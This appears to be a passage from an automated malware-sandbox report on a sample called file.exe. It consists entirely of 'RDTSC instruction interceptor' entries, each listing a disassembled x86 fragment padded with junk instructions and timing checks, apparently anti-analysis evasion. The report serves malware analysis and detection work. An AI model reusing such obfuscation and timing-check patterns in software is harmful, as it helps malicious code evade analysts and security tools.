Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D376E second address: 12D3825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007FF674E409C4h 0x0000000e nop 0x0000000f or dword ptr [ebp+122D35B9h], edi 0x00000015 push 00000000h 0x00000017 sub dword ptr [ebp+122D17A3h], edi 0x0000001d push B3E9FC2Ch 0x00000022 jmp 00007FF674E409C5h 0x00000027 add dword ptr [esp], 4C160454h 0x0000002e mov edi, ecx 0x00000030 push 00000003h 0x00000032 mov si, FF1Ah 0x00000036 push 00000000h 0x00000038 cld 0x00000039 push 00000003h 0x0000003b push B4A11D71h 0x00000040 jmp 00007FF674E409C8h 0x00000045 xor dword ptr [esp], 74A11D71h 0x0000004c jmp 00007FF674E409C0h 0x00000051 mov esi, edi 0x00000053 lea ebx, dword ptr [ebp+12445388h] 0x00000059 mov esi, 5DF655EFh 0x0000005e push eax 0x0000005f pushad 0x00000060 jmp 00007FF674E409C8h 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF7C7 second address: 12BF7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF6744C8CA6h 0x00000009 jmp 00007FF6744C8CA3h 0x0000000e popad 0x0000000f jl 00007FF6744C8C9Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2AD0 second address: 12F2AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2AD6 second address: 12F2AE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF6744C8C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2AE0 second address: 12F2AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2D60 second address: 12F2DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FF6744C8CA0h 0x0000000b pushad 0x0000000c jne 00007FF6744C8C96h 0x00000012 jmp 00007FF6744C8CA0h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007FF6744C8CA1h 0x00000021 jne 00007FF6744C8C96h 0x00000027 jmp 00007FF6744C8CA5h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2EEF second address: 12F2EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2EF4 second address: 12F2F03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FF6744C8C96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F2F03 second address: 12F2F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3086 second address: 12F30A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF6744C8C9Fh 0x0000000b popad 0x0000000c jnp 00007FF6744C8C9Ch 0x00000012 jng 00007FF6744C8C96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6FE5 second address: 12E6FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2C96 second address: 12C2CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF6744C8CA0h 0x00000009 pushad 0x0000000a jmp 00007FF6744C8CA2h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FF6744C8C9Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2CCF second address: 12C2CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3899 second address: 12F38C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF6744C8C96h 0x0000000a jmp 00007FF6744C8CA7h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F38C0 second address: 12F38C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F38C8 second address: 12F38CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F38CE second address: 12F3904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FF674E409B8h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FF674E409BCh 0x00000016 push ebx 0x00000017 jng 00007FF674E409B6h 0x0000001d jmp 00007FF674E409C2h 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3904 second address: 12F391C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF6744C8CA3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3A4F second address: 12F3A60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FF674E409B6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5444 second address: 12F5469 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F5469 second address: 12F5483 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF674E409B6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FF674E409BAh 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7B60 second address: 12F7B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FF6744C8CA7h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FF6744C8CA1h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7B99 second address: 12F7BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF674E409C9h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 jmp 00007FF674E409C0h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F7BD4 second address: 12F7BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FEA97 second address: 12FEAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF674E409B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FEAA3 second address: 12FEACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF6744C8CA7h 0x0000000e jmp 00007FF6744C8C9Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDDA1 second address: 12FDDB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDDB1 second address: 12FDDD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF6744C8C9Ch 0x00000009 jmp 00007FF6744C8CA2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDF22 second address: 12FDF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FF674E409C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDF3D second address: 12FDF7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FF6744C8C96h 0x00000009 jmp 00007FF6744C8CA6h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF6744C8CA9h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDF7A second address: 12FDF7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FDF7E second address: 12FDFA6 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF6744C8C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e jmp 00007FF6744C8CA3h 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE729 second address: 12FE73E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF674E409BCh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE73E second address: 12FE745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE8E9 second address: 12FE912 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007FF674E409B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FF674E409C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301549 second address: 130154D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130154D second address: 1301583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FF674E409C9h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF674E409BFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301583 second address: 13015D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d pushad 0x0000000e jg 00007FF6744C8C96h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a pop edx 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jno 00007FF6744C8CA4h 0x00000026 pop eax 0x00000027 mov esi, dword ptr [ebp+122D3940h] 0x0000002d call 00007FF6744C8C99h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007FF6744C8C96h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13015D0 second address: 1301603 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FF674E409BCh 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF674E409C7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301603 second address: 1301607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301607 second address: 130160D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130160D second address: 1301663 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF6744C8C9Ch 0x00000008 jnc 00007FF6744C8C96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007FF6744C8CA7h 0x00000019 mov eax, dword ptr [eax] 0x0000001b pushad 0x0000001c jnl 00007FF6744C8C98h 0x00000022 jmp 00007FF6744C8C9Ch 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FF6744C8C9Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301663 second address: 1301668 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13017E3 second address: 1301801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13019C5 second address: 13019CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302315 second address: 1302319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1302319 second address: 130234E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF674E409B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b xchg eax, ebx 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF674E409B8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push eax 0x00000027 pushad 0x00000028 jnp 00007FF674E409B8h 0x0000002e pushad 0x0000002f popad 0x00000030 push ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130261D second address: 1302627 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13028BA second address: 13028BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13037DC second address: 13037E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1303644 second address: 130364A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13053A0 second address: 13053A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13053A4 second address: 13053AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305061 second address: 130507E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13053AE second address: 13053B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130507E second address: 130509B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FF6744C8C96h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pushad 0x00000015 js 00007FF6744C8C96h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307417 second address: 130741B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130741B second address: 13074A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 call 00007FF6744C8C9Dh 0x0000000d ja 00007FF6744C8C9Ch 0x00000013 pop esi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007FF6744C8C98h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+124555E7h], ebx 0x00000036 jmp 00007FF6744C8CA0h 0x0000003b push 00000000h 0x0000003d xchg eax, ebx 0x0000003e jg 00007FF6744C8CADh 0x00000044 push eax 0x00000045 jc 00007FF6744C8CA0h 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e pop eax 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E61 second address: 1307E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1307E65 second address: 1307E7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130A9ED second address: 130AA05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FF674E409BAh 0x0000000c jo 00007FF674E409BCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D054 second address: 130D05A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E134 second address: 130E13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D05A second address: 130D05F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E13F second address: 130E143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D05F second address: 130D065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130E143 second address: 130E147 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F0B2 second address: 130F0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FF6744C8C9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDBDA second address: 12BDBE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130D065 second address: 130D0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jnl 00007FF6744C8C98h 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 popad 0x00000016 nop 0x00000017 jbe 00007FF6744C8C99h 0x0000001d movsx edi, cx 0x00000020 mov bx, E622h 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov dword ptr [ebp+122D3159h], edi 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 jmp 00007FF6744C8CA4h 0x0000003d jmp 00007FF6744C8CA2h 0x00000042 mov eax, dword ptr [ebp+122D0D41h] 0x00000048 push FFFFFFFFh 0x0000004a mov dword ptr [ebp+122D34F5h], edi 0x00000050 nop 0x00000051 pushad 0x00000052 pushad 0x00000053 pushad 0x00000054 popad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130F0C3 second address: 130F0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13117A4 second address: 13117AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13146F2 second address: 13146F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131376F second address: 1313773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13146F7 second address: 13147A0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FF674E409C9h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FF674E409B8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 jmp 00007FF674E409BBh 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FF674E409B8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 je 00007FF674E409BCh 0x0000004f mov ebx, dword ptr [ebp+122D1B23h] 0x00000055 push 00000000h 0x00000057 mov ebx, edi 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b jmp 00007FF674E409C5h 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FF674E409C5h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313773 second address: 1313793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF6744C8CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FF6744C8C96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13147A0 second address: 13147A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313793 second address: 13137AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007FF6744C8C9Dh 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131580B second address: 1315811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
